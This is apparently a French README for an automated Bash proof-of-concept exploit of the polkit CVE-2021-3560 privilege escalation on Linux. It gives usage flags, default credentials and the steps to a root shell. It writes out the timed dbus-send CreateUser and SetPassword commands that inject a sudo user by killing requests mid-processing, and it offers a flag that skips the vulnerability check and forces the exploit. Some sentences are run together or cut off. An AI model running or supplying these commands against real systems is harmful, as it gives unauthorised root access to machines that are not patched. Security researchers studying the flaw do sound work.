
PoC Bash automatisé pour l'élévation de privilèges polkit CVE-2021-3560. Exploite l'attaque temporelle dbus pour injecter un utilisateur sudo et obtenir un shell root sur les distributions Linux vulnérables.
Ceci est simplement un script PoC en Bash qui automatise les étapes d'exploitation mentionnées dans le blog de Kevin Backhouse. Lisez son article sur cette vulnérabilité : https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice et gnome-control-center et qui doivent avoir polkit version 0.113 (ou ultérieure) OU 0-105-26 (fork Debian de polkit).Ubuntu 20.04, avec polkit version 0-105-26 (fork Debian de polkit) et Centos 8 avec la version 0.115 de polkit. Si vous êtes sûr que votre cible est vulnérable, mais que la fonction de vérification de l'exploit échoue, utilisez l'option -f=y pour contourner toutes les vérifications et forcer l'exploit.Une explication complète et un PoC pour exploiter cette vulnérabilité manuellement sont fournis en détail sur le blog du chercheur.
TL;DR de cet exploit est donné ci-dessous :
polkit via l'envoi d'un message dbus, mais en fermant la requête brutalement pendant que polkit traite la requête. L'attaquant peut ensuite envoyer une seconde requête avec l'identifiant de bus unique de la requête précédente, afin d'exécuter la requête en tant qu'UID 0, alias root.polkit, car il traite l'UID d'une connexion dont l'identifiant de bus n'existe plus comme une requête provenant de l'UID 0. Cela signifie que, si nous pouvons synchroniser correctement l'attaque et terminer notre première requête au bon moment, nous pouvons alors envoyer la seconde requête avec les privilèges de l'UID 0, alias root.Comme je l'ai dit précédemment, ce n'est qu'un script bash qui automatise le PoC de Kevin Backhouse. Les commandes de base sont les mêmes ; j'ai simplement automatisé certaines étapes initiales (comme obtenir le bon timing, analyser la vulnérabilité, insérer des identifiants personnalisés, afficher de jolies couleurs, etc.).
Si ce script est exécuté sans aucun paramètre, le comportement par défaut de ce script est le suivant :
/etc/os-release.]accountservice et gnome-control-center. [Sur rhel/centos/fedora, utilise rpm -qa et sur les distributions debian/ubuntu, utilise dpkg -l].rhel.centos,fedora et 0-105-26 pour Debian/Ubuntu]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null su - <username> avec le mot de passe fourni au script, puis saisir sudo bash pour obtenir un shell root !Esc pour fermer l'invite d'authentification et sur Ctrl+C pour terminer le script rapidement.$t) est calculé en divisant par 2 le temps requis pour la requête. ($t=time-required-to-request/2) [Calculé avec awk]$t), la requête d'insertion de $username secnigma sur la cible est répétée 20 fois. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma], un hash de mot de passe est alors généré [en utilisant bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!